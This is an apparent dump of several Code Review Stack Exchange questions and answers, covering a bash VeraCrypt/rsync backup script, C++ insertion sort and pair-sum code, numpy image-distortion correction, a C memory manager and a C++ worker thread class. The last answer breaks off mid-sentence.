"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T19:58:34.833",
"Id": "260270",
"Score": "3",
"Tags": [
"python",
"python-3.x"
],
"Title": "Managing configs to use scripts on different computers"
}
|
260270
|
<p>My bash script mounts two VeraCrypt volumes, rsyncs their contents, and dismounts them. The script takes two parameters, the path for both the source and backup veracrypt volumes. I wrote this script so rsync wouldn't have to copy an entire volume if there was a single change in it.</p>
<p>This is my second time with bash scripting so please let me know what I could do better.</p>
<p>Thanks</p>
<pre><code>#!/bin/bash
# Requirements:
# - Must have both veracrypt and rsync installed
# - Must be ran on Unix based systems
# - Both volumes must have the same password
function prepare_volumes_for_exit() {
# dismount volumes
veracrypt -d
echo "Volumes dismounted"
# delete mount points
sudo rm -r "$source_mount_point"
sudo rm -r "$backup_mount_point"
echo "Mount points purged"
}
# removes double or single quotes from strings of they exist
function format_string() {
if [ "${1:0:1}" == "'" ] && [ "${1: -1}" == "'" ]; then
echo "${1:1:-1}"
elif [ "${1:0:1}" == '"' ] && [ "${1: -1}" == '"' ]; then
echo "${1:1:-1}"
else
echo "$1"
fi
}
# make sure all volumes are removed before starting
veracrypt -d
# check that 2 params are passed
if ! [ $# -eq 2 ]; then
echo "Error: 2 parameters are required [source_volume_path] [backup_volume_path]"
exit 1
fi
echo "Enter the password for the veracrypt volume: "
read -s veracrypt_password
# path to veracrypt volumes
source_volume_path="$(format_string "$1")"
backup_volume_path="$(format_string "$2")"
# generate random mount point
source_mount_point="$(format_string "/mnt/$(uuidgen)")"
backup_mount_point="$(format_string "/mnt/$(uuidgen)")"
# flag to determine if drives are mounted
source_volume_mounted=0
backup_volume_mounted=0
# create mount points
sudo mkdir -p "$source_mount_point"
sudo mkdir -p "$backup_mount_point"
echo "Beginning to mount volumes"
sudo veracrypt -t --mount "$source_volume_path" "$source_mount_point" -p "$veracrypt_password" --non-interactive
# checks that the source volume mounted
while read -r drive_number volume_location vc_mapper mount_location; do
formatted_volume_location="$(format_string "$volume_location")"
formatted_mount_location="$(format_string "$mount_location")"
if [ "$formatted_volume_location" == "$source_volume_path" ] && [ "$formatted_mount_location" == "$source_mount_point" ]; then
echo "Source volume mounted"
source_volume_mounted=1
else
echo "Error: source volume not mounted"
prepare_volumes_for_exit
exit 1
fi
done <<< $(veracrypt -t -l)
sudo veracrypt -t --mount "$backup_volume_path" "$backup_mount_point" -p "$veracrypt_password" --non-interactive
# checks both the source and backup volumes are mounted
# http://mywiki.wooledge.org/BashFAQ/001#source
while read -r drive_number volume_location vc_mapper mount_location; do
formatted_volume_location="$(format_string "$volume_location")"
formatted_mount_location="$(format_string "$mount_location")"
if [ "$formatted_volume_location" == "$source_volume_path" ] && [ "$formatted_mount_location" == "$source_mount_point" ]; then
source_volume_mounted=1
elif [ "$formatted_volume_location" == "$backup_volume_path" ] && [ "$formatted_mount_location" == "$backup_mount_point" ]; then
echo "Backup volume mounted"
backup_volume_mounted=1
else
echo "Error: source or backup volume not mounted"
prepare_volumes_for_exit
exit 1
fi
done <<< $(veracrypt -t -l)
if [ "$source_volume_mounted" -eq 1 ] && [ "$backup_volume_mounted" -eq 1 ]
then
echo "Volumes mounted, beginning rsync"
# sudo rsync -hrtq --exclude-from='/media/miller/Primary/exclude.txt' --delete $source_mount_point/ $backup_mount_point
echo "rsync complete"
else
echo 'Error: Drives were not mounted successfully, skipping rsync'
fi
prepare_volumes_for_exit
echo "Complete"
exit 0
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>Some suggestions:</p>\n<ul>\n<li><code>#!/usr/bin/env bash</code> is a more portable <a href=\"https://stackoverflow.com/a/10383546/96588\">shebang line</a>.</li>\n<li><code>function prepare_volumes_for_exit()</code> can be simplified to <code>prepare_volumes_for_exit()</code>.</li>\n<li>Using <code>sudo</code> within a script is generally discouraged, since it makes it easy to do really bad things without explicit user consent. Instead, remove the <code>sudo</code>s and tell the user to run the whole script as root.</li>\n<li><code>format_string</code> is an anti-pattern. First, because quotes are actually valid characters in paths, but more importantly because it is a strong indication that you're expecting the user to wrongly input broken strings.</li>\n<li><code>! [ $# -eq 2 ]</code> can be simplified as <code>[ $# -ne 2 ]</code>.</li>\n<li>\n<pre class=\"lang-bsh prettyprint-override\"><code>while read -r drive_number volume_location vc_mapper mount_location\n…\ndone <<< $(veracrypt -t -l)\n</code></pre>\ncan be improved as\n<pre><code>while read -r -u9 drive_number volume_location vc_mapper mount_location\n…\ndone 9< <(veracrypt -t -l)\n</code></pre>\nThis way, no <a href=\"https://www.gnu.org/software/bash/manual/html_node/Word-Splitting.html\" rel=\"nofollow noreferrer\">word splitting</a> happens on the input, and <a href=\"https://mywiki.wooledge.org/BashFAQ/001#How_to_keep_other_commands_from_.22eating.22_the_input\" rel=\"nofollow noreferrer\">commands within the <code>while</code> loop which happen to read from stdin won't break the loop</a>.</li>\n<li><code>exit 0</code> is redundant.</li>\n<li>By convention, scripts should be silent if there is nothing important to report, and any error messages should go to standard error rather than standard output.</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T01:16:19.113",
"Id": "260279",
"ParentId": "260274",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260279",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T21:27:41.687",
"Id": "260274",
"Score": "1",
"Tags": [
"bash",
"linux"
],
"Title": "Bash script for mounting and backing up VeraCrypt volumes"
}
|
260274
|
<p>I'm learning sorting algorithms and wrote my own implementation of <a href="https://en.wikipedia.org/wiki/Insertion_sort" rel="nofollow noreferrer">Insertion Sort</a>. Is it optimal? Is there anything that can be done better?</p>
<pre><code>#include <iostream>
#include <vector>
#include <algorithm>
#include <vector>
void display(std::vector<int> arr)
{
for (int i = 0; i < arr.size(); ++i)
{
std::cout << arr[i] << ' ';
}
std::cout << std::endl;
}
std::vector<int>& insertionSort(std::vector<int>& arr)
{
int i = 1;
while (i < arr.size())
{
int j = i;
while ((j > 0) && (arr[j-1] > arr[j]))
{
std::swap(arr[j-1],arr[j]);
--j;
}
++i;
}
return arr;
}
int main()
{
std::vector<int> arr{1,4,3,5,6,2};
display(insertionSort(arr));
return 0;
}
</code></pre>
|
[] |
[
{
"body": "<p>Your <code>insertionSort()</code> is OK, but I would write:</p>\n<pre><code>template<std::forward_iterator Iter>\nvoid insertion_sort(Iter first, Iter last) {\n for (Iter it = first; it != last; ++it)\n std::rotate(std::upper_bound(first, it, *it), it, std::next(it));\n}\n\ninsertion_sort(v.begin(), v.end());\n</code></pre>\n<p><code>display()</code> copys your vector, so make the parameter as const (lvalue) reference.</p>\n<p>Use ranged-for loop for printing:</p>\n<pre><code>for (auto n : vec) {\n std::cout << n << ' ';\n}\nstd::cout << '\\n'; // don't use std::endl\n</code></pre>\n<p>Or you can use one-liner</p>\n<pre><code>std::copy(v.begin(), v.end(), std::ostream_iterator<int>(std::cout, ' '));\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T03:33:17.760",
"Id": "260281",
"ParentId": "260280",
"Score": "2"
}
},
{
"body": "<pre><code> int i = 1;\n while (i < arr.size())\n {\n // body of loop\n ++i;\n }\n</code></pre>\n<p>That is the quintessential <code>for</code> loop. Write it as:</p>\n<pre><code>const auto ASize = arr.size();\nfor (size_t i= 1; i < ASize; ++i) {\n // body of loop\n}\n</code></pre>\n<p>I also saved the array size since it doesn't change... but your variable <code>arr</code> is not <code>const</code> and the compiler can't really deduce that it doesn't change so it will call the function every time. (OTOH, the inlined <code>size()</code> function might be simple enough that it's just as fast as a variable, but generally we don't assume this)</p>\n<p>Meanwhile, you are comparing a signed and unsigned value, which <em>should</em> be giving you a warning. Make <code>i</code> the same type as the thing it is compared against.</p>\n<p>frozenca shows the main loop written as two calls to existing STL algorithms, which is indeed the way it ought to be written today. This means understanding what those algorithms do.</p>\n<p>Back in the day, implementing sorts from scratch as part of learning how sorting works, I didn't have library calls that did so much of the work. To really show how it works "from scratch" you should write a binary search and insert code too. You step back one element at a time (not a binary search) and <code>swap</code> every pair as you go; it is more optimal to find the insertion position using a binary search and then move them all with one call. The former changes the complexity from n/2 comparisons to log n comparisons, and thus the whole sort from O (n²) to O (n log n), which is an important detail! The latter does not change the formal complexity but is much faster (by a constant factor).</p>\n<p>(Actually, I <em>did</em> use a built-in library call when implementing the binary tree sort; this was a machine language primitive used by <a href=\"https://en.wikipedia.org/wiki/UCSD_Pascal\" rel=\"nofollow noreferrer\">the system's</a> own compiler and tools! The instructor had me re-write to actually do all the primitive manipulations, to show that I understood what it was doing.)</p>\n<p>Since you are sorting in-place, you don't really care that you have a <code>std::vector</code>. You should accept two iterators in the same manner as the standard algorithms, and then the same code can sort <code>std::vector</code>, a plain array, or anything that has suitable iterators.</p>\n<p>So, don't use subscript index values <code>i</code> and <code>j</code>, but use two <em>iterators</em> instead, when doing the work.</p>\n<p>Using iterators, you can sort a subrange of a collection as well, which is very useful when you write the more advanced sorts: For example, when a quicksort gets down to a small enough span it calls the simple insertion sort instead.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:27:17.817",
"Id": "260311",
"ParentId": "260280",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260311",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T02:56:25.980",
"Id": "260280",
"Score": "0",
"Tags": [
"c++",
"sorting",
"insertion-sort"
],
"Title": "Is my Insertion Sort optimal?"
}
|
260280
|
<p>The previous question was not clear enough so I will try to clarify it more in this follow-up question.<br />
<strong>I tried the multiple pointers technique to solve the problem that find pair of values that sums up to a target value.</strong></p>
<blockquote>
<p><strong>We are assuming that:</strong></p>
<ul>
<li><strong>the array is already sorted.</strong></li>
<li><strong>we are working with a static array of size 16 (testing purpose only).</strong></li>
<li><strong>we are not working with actual pointers; because we don't need them in this case (I think), I named the question on the algorithm's
name only.</strong></li>
</ul>
</blockquote>
<pre><code>#include <iostream>
#include <vector>
using namespace std;
struct result
{
int num1;
int num2;
result() {}
result(int num1, int num2)
: num1{ num1 }, num2{ num2 } {}
};
vector<result> mult_pt(int arr[], int target)
{
int p1 = 0;
int p2 = 15;
bool flag = false;
vector<result> res;
while (p1 <= p2)
{
if (arr[p1] + arr[p2] == target)
{
for (int k = 0; k < res.size() - 1; k++)
{
if (res.size() == 0)
res.push_back(result(arr[p1], arr[p2]));
else if (res[k].num1 != arr[p1] && res[k].num2 != arr[p2])
{
flag = false;
}
else flag = true;
}
if(flag) res.push_back(result(arr[p1], arr[p2]));
p1++;
}
else if (arr[p1] + arr[p2] < target)
{
p1++;
continue;
}
else if (arr[p1] + arr[p2] > target)
{
p2--;
for (int i = p1; i >=0; i--)
{
if (arr[i] + arr[p2] == target)
{
res.push_back(result(arr[p1], arr[p2]));
}
else if (arr[i] + arr[p2] > target)
{
continue;
}
else break;
}
}
}
return res;
}
int main ()
{
int array[16] = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};
vector <result> res = mult_pt(array, 19);
for (int j = 0; j < res.size(); j++)
{
cout << "[ " << res[j].num1 << " , " << res[j].num2 << " ]" << endl;
}
return 0;
}
</code></pre>
<p><strong>The output should be like:</strong></p>
<pre><code>[ 4 , 15 ]
[ 5 , 14 ]
[ 6 , 13 ]
[ 7 , 12 ]
[ 8 , 11 ]
[ 9 , 10 ]
[ 10 , 9 ]
</code></pre>
<p><strong>You can check the previous post</strong> <a href="https://codereview.stackexchange.com/questions/260174/finding-all-pairs-of-elements-in-an-array-that-sum-to-a-target-value-using-multi">here</a>.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T05:37:37.777",
"Id": "513781",
"Score": "0",
"body": "Does this answer your question? [Finding all pairs of elements in an array that sum to a target value using multiple pointers](https://codereview.stackexchange.com/questions/260174/finding-all-pairs-of-elements-in-an-array-that-sum-to-a-target-value-using-multi)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T05:38:52.843",
"Id": "513782",
"Score": "0",
"body": "I don't think this question adds anything new to the previous one so I vote to close as duplicate."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:29:48.633",
"Id": "513792",
"Score": "2",
"body": "@slepic The edit in the previous question [was rolled back](https://codereview.stackexchange.com/questions/260174/finding-all-pairs-of-elements-in-an-array-that-sum-to-a-target-value-using-multi#comment513770_260174), so that would be going in circles."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:03:35.260",
"Id": "513813",
"Score": "0",
"body": "You didn't seem to apply the advice that was given when you asked the first time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T16:07:07.213",
"Id": "513814",
"Score": "0",
"body": "I have clarified the question because it was not clear and I didn't get the answers I was looking for."
}
] |
[
{
"body": "<h2><code>using namespace std;</code></h2>\n<p>There are lot of good answers why you shouldn't use it. <a href=\"https://stackoverflow.com/questions/1452721/why-is-using-namespace-std-considered-bad-practice\">See here</a></p>\n<hr />\n<h2>Use <code>std::pair<int, int></code></h2>\n<p>Since your <code>result</code> struct is just acting as a container for two <code>int</code>s, consider using <code>std::pair<int, int></code></p>\n<hr />\n<h2>Don't hardcode values</h2>\n<p>Why do you want hardcode <code>16</code> as the array length? You can just pass it to the function as a parameter, or use <code>std::array</code>. Your code should be able to handle any number of elements.</p>\n<hr />\n<h2><code>while(p1 <= p2)</code></h2>\n<p>This is incorrect. This will allow the algorithm to run for single length arrays as well. For example, consider the array <code>{7}</code> and target value 14. Your code returns <code>{7,7}</code> as an answer. In fact, the rogue <code>[10, 9]</code> in your output is a direct result of this.</p>\n<hr />\n<h2>Comparison of signed and unsigned ints</h2>\n<p>If you turn on warnings <code>-Wall -pedantic</code>, you will see your compiler warn you about comparing signed and unsigned ints. For example, comparing <code>k</code> which is a signed int to <code>res.size() - 1</code> which is an unsigned int.</p>\n<p>In fact, you're quite lucky that the first time you encounter a valid pair, it's inserted into the result vector. <code>res.size() - 1</code> wraps around to whatever the maximum value of <code>vector<result>::size_type</code> is (in my case, 18446744073709551615) which means <code>k < res.size() - 1</code> is valid.</p>\n<p>In fact, you don't even need this entire loop (see below).</p>\n<h2>Use curly braces consistently</h2>\n<p>Your use of curly braces is very inconsistent. As a general use, always use curly braces for your conditional statements. It looks cleaner and can help avoid subtle bugs.</p>\n<hr />\n<p>Since you're using <code>arr[p1] + arr[p2]</code> quite a bit, better to use a variable to store the value.</p>\n<hr />\n<p><code>if(res.size() == 0)</code> is irrelevant because it's always gonna be <code>false</code> (ignoring that one case at the very beginning because it's poor code, not an edge case to be handled).</p>\n<hr />\n<p>I'm still not quite sure what the <code>flag</code> variable is mean to do. All your inner loop is doing is looking at the second to last element in the res vector and comparing values. <code>flag</code> will never be true unless the second to last element in the res vector has elements matching <code>arr[p1]</code> and <code>arr[p2]</code>.</p>\n<hr />\n<p>You have needlessly complicated your algorithm (the inner loop inside of the <code>else if</code> block, for example).</p>\n<p>In pseudocode, this algorithm can be written as:</p>\n<pre><code>while(p1 < p2)\n sum = array[p1] + array[p2]\n if sum == target\n insert into res vector\n p1++\n p2--\n else if sum < target\n p1++\n else\n p2--\n</code></pre>\n<hr />\n<p>You could use <code>res.emplace_back(arr[p1], arr[p2]);</code> instead of <code>res.push_back(result(arr[p1], arr[p2]));</code>. The former constructs the struct in-place, while the latter might invoke the move constructor.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T14:49:54.693",
"Id": "513807",
"Score": "0",
"body": "The inner for loop is a big mistake, that's true, I was checking if the found pair is already in the results vector, but we don't need that since we are working with a sorted array."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T10:24:47.667",
"Id": "260293",
"ParentId": "260282",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260293",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T03:35:42.637",
"Id": "260282",
"Score": "0",
"Tags": [
"c++",
"algorithm"
],
"Title": "Finding all pairs of elements in an array that sum to a target value using multiple pointers (follow up)"
}
|
260282
|
<p>I want to optimize this for loop for correcting coordinates of an image, it takes too long which is not suited for my system. I have done some profiling, the numpy roots is taking most of the time (near to 90%). Could someone suggest some optimization or vectorization of the code? Or a better alternative?</p>
<pre><code>src = cv2.imread('distorted_JJ.bmp')
dist_center = np.array([512, 224])
k1 = 0.15
k2 = 0.52
h,w,_ = src.shape
xc = dist_center[0]
yc = dist_center[1]
dst = np.zeros([h,w,3],dtype=np.uint8)
dst[::]=((255,0,0))
for i in range(h):
for j in range(w):
ru = np.array([j-xc, yc-i])/w
p = [k2 , 0, k1, 0, 1, ru]
abs_rd = np.roots(p)
if i == yc and j == xc:
rd = np.array([0,0])
else:
rd = ru * (p/abs_rd)
v = np.array([xc/w + rd[0], yc/w - rd[1]])
v = v*w
v = v.astype(int)
dst[i][j] = src[v[1],v[0]]
</code></pre>
|
[] |
[
{
"body": "<p>This is more of a suggestion as I don't have the time to code it, but it is perhaps too long for a comment.</p>\n<p>From your code it seems that it is assumed that this fifth degree polynomial has only a single real root. It must have one, because the complex ones must come in conjugate pairs, but I don't see why it has only one.</p>\n<p>I will assume it has an unique real root. Here's the idea:</p>\n<ol>\n<li>Calculate <code>abs_ru</code> in a fast, vectorized manner.</li>\n<li>Order these real values.</li>\n<li>Take the smallest, use <code>numpy.roots</code> to find the corresponding unique real root.</li>\n<li>Starting from this, consider the next <code>abs_ru</code> value and the corresponding polynomial. If this next <code>abs_ru</code> is far, then consider using <code>numpy.roots</code> again, else a few iteration steps using a root finding iteration should suffice. Consider a gradient descent on the square of the polynomial, or a Newton iteration.</li>\n</ol>\n<p>A few things on the code as it is.</p>\n<p>Root finding is generally done numerically, therefore it is perhaps better to consider the numeric roots that have a real value of an absolute value below say 1e-5 instead of <code>~np.iscomplex(abs_rd)</code>.</p>\n<p>Root finding is expensive, and it is redundant if <code>i == yc and j == xc</code>. Move it to the else branch.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T11:00:06.987",
"Id": "260295",
"ParentId": "260285",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:24:00.283",
"Id": "260285",
"Score": "1",
"Tags": [
"python",
"performance",
"image",
"vectorization"
],
"Title": "Correcting coordinates of an image with polynomial root in python"
}
|
260285
|
<p>I decided to not use heap in my program and create a custom memory manager to retrieve memory chunks from a big global array of uint8_t(u8). I chose u8 since 8 bits is a byte. The very big MEMORY_BLOCK_SIZE is not a problem since in Release builds the compiler will remove the unused bytes. I keep track of free memory chunks with something i call "lookups".</p>
<pre><code>#include <assert.h>
// NOTE: null is a redefinition of NULL
// NOTE: u8 = uint8_t
// NOTE: u64 = uint64_t
#define MEMORY_BLOCK_SIZE 8388608
#define MEMORY_LOOKUPS 8
static u8 memoryBlock[ MEMORY_BLOCK_SIZE ];
static u8* memoryLookups[ MEMORY_LOOKUPS ];
static u64 memoryLookupsSizes[ MEMORY_LOOKUPS ];
void memoryInit( void )
{
memoryLookups[ 0 ] = memoryBlock;
memoryLookupsSizes[ 0 ] = MEMORY_BLOCK_SIZE;
}
u8* requestMemoryChunk( u64 size )
{
assert( size );
u8* usablePtr = null;
u64 ptrPosition;
for( u64 i = MEMORY_LOOKUPS; i >= 0; --i )
{
if( ( !( memoryLookups[ i ] ) ) &&
( memoryLookupsSizes[ i ] >= size ) )
{
usablePtr = memoryLookups[ i ];
ptrPosition = i;
break;
}
}
assert( usablePtr );
u8* block = usablePtr;
memoryLookupsSizes[ ptrPosition ] -= size;
if( !( memoryLookupsSizes[ ptrPosition ] ) )
memoryLookups[ ptrPosition ] = null;
else
memoryLookups[ ptrPosition ] = usablePtr + size;
return block;
}
void freeMemoryChunk( u64 size, u8* block )
{
assert( block && size );
for( u64 i = 0; i < MEMORY_LOOKUPS; ++i )
{
if( ! ( memoryLookups[ i ] ) )
{
memoryLookups[ i ] = block;
memoryLookupsSizes[ i ] = size;
break;
}
}
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T21:55:19.647",
"Id": "513837",
"Score": "0",
"body": "in the `request` function, shouldn't it be `if(lookups && sizes)` rather than `if(!lookups && sizes)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T11:16:44.533",
"Id": "513883",
"Score": "0",
"body": "`for( u64 i = MEMORY_LOOKUPS; i >= 0; --i )` will never stop, `i` will wrap around to the maximum value of uint64_t."
}
] |
[
{
"body": "<p>Please, please, don't rename NULL, uint8_t and uint64_t. It makes your code super hard to read. If you really don't want to type all that out then do a find replace after you're done coding.</p>\n<p>Well aware that checking if(!x) is the same as if(x == NULL) and if(x == 0). But ultimately, I have to favor the explicit versions for readability.</p>\n<p>Also</p>\n<pre><code>for(int x=0; x< MEMORY_LOOKUPS; x++) {\n uint8_t* x = requestMemoryChunk(MEMORY_BLOCK_SIZE - 1 - x);\n freeMemoryChunk(x, MEMORY_BLOCK_SIZE - 1 - x);\n}\nuint8_t* y = requestMemoryChunk(2);\n// you just lost 99.99% of your memory\n</code></pre>\n<p>If this example is too extreme, consider</p>\n<pre><code>for(int x=0; x< MEMORY_LOOKUPS; x++) {\n uint8_t* x = requestMemoryChunk(10000 - x);\n freeMemoryChunk(x, 10000 - x);\n}\nuint8_t* y = requestMemoryChunk(2);\n// you just lost ~10000 bytes of memory\n</code></pre>\n<p>Consider snapping the requests to block sizes (eg powers of 2) to avoid these kinds of pathological requests. Further consider keeping the lookups sorted by size.</p>\n<p>Stylistically things are ok. There are some unnecessary parentheses in the if conditions but (... y'know lisp exists)</p>\n<p>Ultimately, people code in c for efficiency and control. One expects to lose some readability doing clever things. But there's no reason to not explain the clever stuff in comments.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T16:27:47.853",
"Id": "513915",
"Score": "0",
"body": "Thanks for the review, I agree to all the points you mentioned. I tought u64/u8/null wasn't hard to read since it is a c programming practice quite diffused. To solve the memory waste problem you should modify the MEMORY_LOOKUPS to suit your program needs. (same as MEMORY_BLOCK_SIZE). I try to keep this as low as possible because the more lookups the program checks for the more iterations it has to do."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T22:04:46.070",
"Id": "260317",
"ParentId": "260287",
"Score": "2"
}
},
{
"body": "<ul>\n<li><p>You can't really implement a memory manager system like this in standard C. It would have to rely on standard extensions and specific compiler options. The main reason for this is "the strict aliasing rule"... (<a href=\"https://stackoverflow.com/questions/98650/what-is-the-strict-aliasing-rule\">What is the strict aliasing rule?</a>)</p>\n</li>\n<li><p>...but also alignment, you shouldn't write a library that hands out misaligned chunks of memory. If you look at malloc & friends they only work since they have a requirement (from the C standard 7.22.3):</p>\n<blockquote>\n<p>The\npointer returned if the allocation succeeds is suitably aligned so that it may be assigned to\na pointer to any type of object with a fundamental alignment requirement and then used\nto access such an object or an array of such objects in the space allocated (until the space\nis explicitly deallocated).</p>\n</blockquote>\n</li>\n<li><p>As noted in another review, you shouldn't come up with home-brewed, secret aliases for standardized terms. Use <code>stdint.h</code> with <code>uint8_t</code> etc. Use <code>NULL</code>. In particular, don't re-define <code>NULL</code> to something custom since that can cause all manner of subtle bugs. See <a href=\"https://software.codidact.com/posts/278657\" rel=\"nofollow noreferrer\">What's the difference between null pointers and NULL?</a> for details.</p>\n</li>\n<li><p>Bug here: <code>for( u64 i = MEMORY_LOOKUPS; i >= 0; --i )</code> An <code>u64</code> is always >= 0. Decent compilers ought to warn you here. In general, bugs like this can be avoided by always iterating from 0 and upwards, then change the indexing instead: <code>arr[MAX - i]</code> etc.</p>\n</li>\n<li><p>Generally, library quality code does not check if parameters passed are NULL, 0 etc. Such things are handled by documentation and making it the caller's responsibility to not pass on trash parameters.</p>\n</li>\n<li><p>Your routines ought to keep track of the last used memory location instead of searching for it in run-time. I take it that some of these might be freed so you'd get gaps in the look-up table, but then you should ask yourself if an array is really the right container class to use. You could for example use a BST instead, sorted after memory address.</p>\n</li>\n<li><p>Your code doesn't seem to address fragmentation at all.</p>\n</li>\n<li>\n<blockquote>\n<p>The very big MEMORY_BLOCK_SIZE is not a problem since in Release builds the compiler will remove the unused bytes.</p>\n</blockquote>\n<p>I wouldn't be so sure about that, it depends a lot on system and context.</p>\n</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T11:51:23.027",
"Id": "260370",
"ParentId": "260287",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "260370",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T08:28:04.773",
"Id": "260287",
"Score": "0",
"Tags": [
"performance",
"c",
"memory-management",
"memory-optimization"
],
"Title": "Fixed memory manager in C"
}
|
260287
|
<p><b>Background:</b></p>
<p>This is supposed to be the sole worker thread to carry out long-lasting jobs in a GUI application. The GUI thread should be able to schedule tasks in a non-blocking manner and the tasks should que-up until the thread gets around executing them. I tried my best to make it exception safe.</p>
<p><b>Code:</b></p>
<pre><code>#include <condition_variable>
#include <functional>
#include <mutex>
#include <queue>
#include <thread>
#include <utility>
class WorkerThread final {
public:
using Task = std::function<void(void)>;
private:
/* this mutex must be locked before
* modifying state of this class */
std::mutex _mutex;
/* list of tasks to be executed */
std::queue<Task> _toDo;
/* The thread waits for this signal when
* there are no tasks to be executed.
* `notify_one` should be called to
* wake up the thread and have it go
* through the tasks. */
std::condition_variable _signal;
/* This flag is checked by the thread
* before going to sleep. If it's set,
* thread exits the event loop and terminates. */
bool _stop = false;
/* the thread is constructed at the
* end so everything is ready by
* the time it executes. */
std::thread _thread;
private:
/* entry point for the thread */
void ThreadMain() noexcept {
/* Main event loop. */
while (true) {
/* not locked yet */
std::unique_lock lock{_mutex, std::defer_lock_t{}}; // noexcept
/* Consume all tasks */
while (true) {
/* locked while we see if
* there are any tasks left */
lock.lock(); // won't throw
if (_toDo.empty()) { // noexcept
// Finished tasks. Mutex stays locked
break;
}
// Pop the front task
// move shouldn't throw
auto const task = std::move(_toDo.front());
_toDo.pop();
// Allow other tasks to
// be added while we're executing one
lock.unlock(); // won't throw
try {
// execute task
task(); // May throw. Will be caught.
} catch (...) {
// log if throws
}
}
// queue is empty (and mutex is still locked)
/* if `_stop` is set, unlock
* mutex (in lock destructor)
* and stop the thread */
if (_stop) return;
// wait for further notice (and unlock the mutex)
_signal.wait(lock); // won't throw
}
}
public:
template <class Func>
void Schedule(Func&& func) {
// lock the mutex so we can add a new task
std::lock_guard<std::mutex> guard{_mutex};
// push the task
// May throw. RAII lock will be unlocked. State is valid
_toDo.push(std::forward<Func>(func));
// notify the worker thread in case it's sleeping
_signal.notify_one();
}
WorkerThread() : _thread(&WorkerThread::ThreadMain, this) {}
~WorkerThread() {
std::unique_lock lock{_mutex}; // won't throw
// tell the thread to finish up
_stop = true;
// wake up the thread in case it's sleeping
_signal.notify_one(); // noexcept
lock.unlock(); // won't throw
// wait for the thread to finish up
_thread.join(); // won't throw since ThreadMain is noexcept
}
WorkerThread(WorkerThread const&) = delete;
WorkerThread& operator=(WorkerThread const&) = delete;
WorkerThread(WorkerThread&&) = delete;
WorkerThread& operator=(WorkerThread&&) = delete;
};
// Example driver code
#include <chrono>
#include <iostream>
int main() {
using namespace std::chrono_literals;
int constexpr sz = 100;
int vars[sz];
{
WorkerThread thread;
for (int i = 0; i < sz; ++i) {
thread.Schedule([&vars, i] {
std::this_thread::sleep_for(1ms);
vars[i] = i;
});
}
}
for (auto const var : vars) std::cout << var << '\n';
}
</code></pre>
<p>The parts marked with <code>// won't throw</code> are parts I believe won't possibly throw even though aren't marked with <code>noexcept</code>.</p>
|
[] |
[
{
"body": "<h1>Remove redundant comments</h1>\n<p>You added a lot of comments to the code, but many of them are not very useful. Comments should be used to explain what the code does if this is not clear from reading the code itself. But for example:</p>\n<pre><code>std::queue<Task> _toDo;\n</code></pre>\n<p>I can see just from this line of code that this is a queue of tasks to be done, so the comment you wrote doesn't add any new information to this. Adding unnecessary comments just increases the noise to signal ratio, and actually makes the code <em>less</em> readable.</p>\n<h1>Avoid starting names with underscores</h1>\n<p>The C++ standard <a href=\"https://stackoverflow.com/questions/228783/what-are-the-rules-about-using-an-underscore-in-a-c-identifier\">reserves some names starting with underscores</a>. Unless you want to learn the exact rules, I recommend you don't start any names with an underscore, but instead use the prefix <code>m_</code> or a single underscore as a suffix.</p>\n<h1>Avoid manually locking and unlocking mutexes</h1>\n<p>I recommed you just use a lock guard without <code>std::defer_lock_t</code> to lock those regions of code that need exclusive access to the data structures. So in <code>MainThread()</code>, I would write:</p>\n<pre><code>while (true) {\n std::function<void(void)> task;\n\n {\n std::unique_lock lock{_mutex};\n _signal.wait_for(lock, []{ return _stop || !_toDo.empty(); });\n\n if (_stop && _toDo.empty())\n break;\n\n task = std::move(_toDo.front());\n _toDo.pop(); \n }\n\n task();\n}\n</code></pre>\n<h1>Notify without the lock held</h1>\n<p>While your code is correct, it is slightly more efficient to call <code>notify_one()</code> <a href=\"https://stackoverflow.com/a/17102100/5481471\">if you don't hold the lock</a>. 